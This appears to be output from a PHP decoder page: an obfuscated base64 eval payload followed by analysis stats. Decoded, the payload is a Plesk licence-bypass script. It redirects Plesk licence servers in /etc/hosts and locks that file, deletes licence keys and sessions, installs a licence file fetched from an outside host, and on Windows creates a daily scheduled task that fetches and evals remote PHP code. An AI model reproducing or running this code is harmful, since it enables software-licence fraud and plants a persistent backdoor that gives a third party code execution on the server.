gZmlsZV9wdXRfY29udGVudHMoIi9ldGMvaG9zdHMiLCAiXG40Ni4zNy45OS44IGthLnBsZXNrLmNvbSBpZC0wMC5rYWlkLnBsZXNrLmNvbSBhbHRlcm5hdGUua2EucGxlc2suY29tIGZlZWRiYWNrLnBwLnBsZXNrLmNvbSIsIEZJTEVfQVBQRU5EKTsNCiAgICAgICAgfQ0KCQkNCiAgICAgICAgaWYgKGlzX2ZpbGUoIi91c3IvYmluL2NoYXR0ciIpKSB7DQogICAgICAgICAgICBzaGVsbF9leGVjKCdjaGF0dHIgK2lhIC9ldGMvaG9zdHMnIC4gJHNpbGVudCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBzaGVsbF9leGVjKCdjaGF0dHIyICtpYSAvZXRjL2hvc3RzJyAuICRzaWxlbnQpOw0KICAgICAgICB9DQogICAgICAgIHNoZWxsX2V4ZWMoJ3BsZXNrIGRiICJERUxFVEUgRlJPTSBwc2Euc2Vzc2lvbnMiOycpOw0KICAgICAgICBzaGVsbF9leGVjKCdwbGVzayBiaW4gcG93ZXJ1c2VyIC0tb2ZmJyk7DQogICAgICAgIHN5c3RlbSgiZWNobyAtZSAnXDAzM1szMm1TZXNzaW9ubGFyIFNpbGluZGkuXDAzM1swbSciKTsNCiAgICAgICAgc2hlbGxfZXhlYygncGxlc2sgYmluIGxvY2FsZXMgLS1zZXQtZGVmYXVsdCB0ci1UUicpOw0KICAgICAgICBzeXN0ZW0oImVjaG8gLWUgJ1wwMzNbMzJtRGlsIFTDvHJrw6dlIG9sYXJhayBHw7xuY2VsbGVuZGkuXDAzM1swbSciKTsNCiAgICAgICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybUJhxZ9hcsSxbMSxIGxpc2FucyB5w7xrbGVuZGkuXDAzM1swbSciKTsNCiAgICAgICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMzbT09PT09PT09PT09PT09PT0gUmFndXJvbiBUZWxla29tw7xuaWthc3lvbiBWZSDEsG50ZXJuZXQgTGltaXRlZCDFnmlya2V0aS4gU3lzdGVtIHYxLjIgPT09PT09PT09PT09PT09PVwwMzNbMG0nIik7DQogICAgICAgIHNsZWVwKDMpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHN5c3RlbSgiZWNobyAtZSAnXDAzM1szMm1MaXNhbnMgWcO8a2xlbmVtZWRpIVwwMzNbMG0nIik7DQogICAgfQ0KfQ0KLy8gV2luZG93cw0KZWxzZWlmIChpc19maWxlKCdDOlxQcm9ncmFtIEZpbGVzICh4ODYpXFBhcmFsbGVsc1xQbGVza1xiaW5cbGljZW5zZS5leGUnKSkgew0KICAgIHN5c3RlbSgiZWNobyDEsMWfbGV0aW0gU2lzdGVtaTogV2luZG93cyBQYXJhbGxlbHMiKTsNCiAgICBzaGVsbF9leGVjKCdzY2h0YXNrcyAvY3JlYXRlIC90biAiUmFndXJvbiBUZWxla29tw7xuaWthc3lvbiBWZSDEsG50ZXJuZXQgTGltaXRlZCDFnmlya2V0aS4gdjEuMSIgL3RyICJcIiVwbGVza19iaW4lXHBocC5leGVcIiAtZXIgXCJldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKFxcXFxcImh0dHBzOi8vcGxlc2sucmFndXJvbi5uZXQudHIvbGljZW5zZVxcXFxcIikpO1wiIiAvc2MgREFJTFkgL21vIDEnIC4gJHNpbGVudCk7DQogICAgc3lzdGVtKCJlY2hvIENyb24gR8O2cmV2aSBPbHXFn3R1cnVsZHUuIik7DQogICAgc3lzdGVtKCdERUwgL0YgL1EgL0EgIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxhZG1pblxccmVwb3NpdG9yeVxca2V5c1xcKiInKTsNCiAgICBzeXN0ZW0oImVjaG8gR2XDp2Vyc2l6IGVza2kgbGlzYW5zbGFyIHNpbGluZGkuIik7DQogICAgJHhtbCA9IGZpbGVfcHV0X2NvbnRlbnRzKCJDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGFyYWxsZWxzXFxQbGVza1xcYmluXFxsaWNlbnNlLnhtbCIsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3BsZXNrLnJhZ3Vyb24ubmV0LnRyL2xpc2Fucy54bWwnKSk7DQogICAgc2hlbGxfZXhlYygnIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxiaW5cXGxpY2Vuc2UuZXhlIC1pIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxiaW5cXGxpY2Vuc2UueG1sIicpOw0KICAgIHNoZWxsX2V4ZWMoJ3BsZXNrIGRiICJERUxFVEUgRlJPTSBwc2Euc2Vzc2lvbnMiOycpOw0KICAgIHNoZWxsX2V4ZWMoJ3BsZXNrIGJpbiBwb3dlcnVzZXIgLS1vZmYnKTsNCiAgICBzeXN0ZW0oImVjaG8gU2Vzc2lvbmxhciBTaWxpbmRpLiIpOw0KICAgIHN5c3RlbSgiZWNobyBCYcWfYXLEsWzEsSBsaXNhbnMgecO8a2xlbmRpLiIpOw0KICAgIHNsZWVwKDMpOw0KICAgIHN5c3RlbSgiZWNobyBMaWNlbnNlIHByb3ZpZGVyIFJhZ3Vyb24gTHRkIMWedGkuIHYxLjEiKTsNCn0gZWxzZWlmIChpc19maWxlKCdDOlxQcm9ncmFtIEZpbGVzICh4ODYpXFBsZXNrXGJpblxsaWNlbnNlLmV4ZScpKSB7DQogICAgc3lzdGVtKCJlY2hvIMSwxZ9sZXRpbSBTaXN0ZW1pOiBXaW5kb3dzIFBsZXNrIik7DQogICAgc2hlbGxfZXhlYygnc2NodGFza3MgL2NyZWF0ZSAvdG4gIlJhZ3Vyb24gTHRkIMWedGkuIHYxLjEiIC90ciAiXCIlcGxlc2tfYmluJVxwaHAuZXhlXCIgLWVyIFwiZXZhbChmaWxlX2dldF9jb250ZW50cyhcXFxcXCJodHRwczovL3BsZXNrLnJhZ3Vyb24ubmV0LnRyL2xpY2Vuc2VcXFxcXCIpKTtcIiIgL3NjIERBSUxZIC9tbyAxJyk7DQogICAgc3lzdGVtKCJlY2hvIENyb24gR8O2cmV2aSBPbHXFn3R1cnVsZHUuIik7DQogICAgc3lzdGVtKCdERUwgL0YgL1EgL0EgIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQbGVza1xcYWRtaW5cXHJlcG9zaXRvcnlcXGtleXNcXCoiJyk7DQogICAgJGZpbGVzID0gZ2xvYignQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxhZG1pblxccmVwb3NpdG9yeVxca2V5c1xcKicpOw0KICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZSkpIHsNCiAgICAgICAgICAgIHVubGluaygkZmlsZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgc3lzdGVtKCJlY2hvIEdlw6dlcnNpeiBlc2tpIGxpc2Fuc2xhciBzaWxpbmRpLiIpOw0KICAgICR4bWwgPSBmaWxlX3B1dF9jb250ZW50cygiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxiaW5cXGxpY2Vuc2UueG1sIiwgZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcGxlc2sucmFndXJvbi5uZXQudHIvbGlzYW5zLnhtbCcpKTsNCiAgICAkaW5zdGFsbCA9IHRyaW0oc2hlbGxfZXhlYygnIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQbGVza1xcYmluXFxsaWNlbnNlLmV4ZSIgLWkgIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQbGVza1xcYmluXFxsaWNlbnNlLnhtbCInKSk7DQogICAgaWYgKHN0cmlzdHIoJGluc3RhbGwsICdzdWNjZXNzZnVsbHkgaW5zdGFsbGVkJykpIHsNCiAgICAgICAgc2hlbGxfZXhlYygncGxlc2sgZGIgIkRFTEVURSBGUk9NIHBzYS5zZXNzaW9ucyI7Jyk7DQogICAgICAgIHNoZWxsX2V4ZWMoJ3BsZXNrIGJpbiBwb3dlcnVzZXIgLS1vZmYnKTsNCiAgICAgICAgc3lzdGVtKCJlY2hvIFNlc3Npb25sYXIgU2lsaW5kaS4iKTsNCiAgICAgICAgc3lzdGVtKCJlY2hvIEJhxZ9hcsSxbMSxIGxpc2FucyB5w7xrbGVuZGkuIik7DQogICAgICAgIHNsZWVwKDMpOw0KICAgICAgICBzeXN0ZW0oImVjaG8gTGljZW5zZSBwcm92aWRlciBSYWd1cm9uIEx0ZCDFnnRpLiB2MS4xIik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgc3lzdGVtKCJlY2hvIExpc2FucyBZw7xrbGVuZW1lZGkhIik7DQogICAgfQ0KfSBlbHNlaWYgKGlzX2ZpbGUoJ0Q6XFByb2dyYW0gRmlsZXMgKHg4NilcUGxlc2tcYmluXGxpY2Vuc2UuZXhlJykpIHsNCiAgICBzeXN0ZW0oImVjaG8gxLDFn2xldGltIFNpc3RlbWk6IFdpbmRvd3MgUGxlc2siKTsNCiAgICBzaGVsbF9leGVjKCdzY2h0YXNrcyAvY3JlYXRlIC90biAiUmFndXJvbiBMdGQgxZ50aS4gdjEuMSIgL3RyICJcIiVwbGVza19iaW4lXHBocC5leGVcIiAtZXIgXCJldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKFxcXFxcImh0dHBzOi8vcGxlc2sucmFndXJvbi5uZXQudHIvbGljZW5zZVxcXFxcIikpO1wiIiAvc2MgREFJTFkgL21vIDEnKTsNCiAgICBzeXN0ZW0oImVjaG8gQ3JvbiBHw7ZyZXZpIE9sdcWfdHVydWxkdS4iKTsNCiAgICBzeXN0ZW0oJ0RFTCAvRiAvUSAvQSAiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxhZG1pblxccmVwb3NpdG9yeVxca2V5c1xcKiInKTsNCiAgICAkZmlsZXMgPSBnbG9iKCdEOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGFkbWluXFxyZXBvc2l0b3J5XFxrZXlzXFwqJyk7DQogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQogICAgICAgIGlmIChpc19maWxlKCRmaWxlKSkgew0KICAgICAgICAgICAgdW5saW5rKCRmaWxlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBzeXN0ZW0oImVjaG8gR2XDp2Vyc2l6IGVza2kgbGlzYW5zbGFyIHNpbGluZGkuIik7DQogICAgJHhtbCA9IGZpbGVfcHV0X2NvbnRlbnRzKCJEOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGJpblxcbGljZW5zZS54bWwiLCBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9wbGVzay5yYWd1cm9uLm5ldC50ci9saXNhbnMueG1sJykpOw0KICAgICRpbnN0YWxsID0gdHJpbShzaGVsbF9leGVjKCciRDpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxiaW5cXGxpY2Vuc2UuZXhlIiAtaSAiRDpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxiaW5cXGxpY2Vuc2UueG1sIicpKTsNCiAgICBpZiAoc3RyaXN0cigkaW5zdGFsbCwgJ3N1Y2Nlc3NmdWxseSBpbnN0YWxsZWQnKSkgew0KICAgICAgICBzaGVsbF9leGVjKCdwbGVzayBkYiAiREVMRVRFIEZST00gcHNhLnNlc3Npb25zIjsnKTsNCiAgICAgICAgc2hlbGxfZXhlYygncGxlc2sgYmluIHBvd2VydXNlciAtLW9mZicpOw0KICAgICAgICBzeXN0ZW0oImVjaG8gU2Vzc2lvbmxhciBTaWxpbmRpLiIpOw0KICAgICAgICBzeXN0ZW0oImVjaG8gQmHFn2FyxLFsxLEgbGlzYW5zIHnDvGtsZW5kaS4iKTsNCiAgICAgICAgc2xlZXAoMyk7DQogICAgICAgIHN5c3RlbSgiZWNobyBMaWNlbnNlIHByb3ZpZGVyIFJhZ3Vyb24gTHRkIMWedGkuIHYxLjEiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBzeXN0ZW0oImVjaG8gTGlzYW5zIFnDvGtsZW5lbWVkaSEiKTsNCiAgICB9DQp9IGVsc2Ugew0KICAgIHN5c3RlbSgiZWNobyDEsMWfbGV0aW0gc2lzdGVtaSEiKTsNCn0=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 6f27980345a0057dbaa9c75c9e25bef1
Eval Count 1
Decode Time 84 ms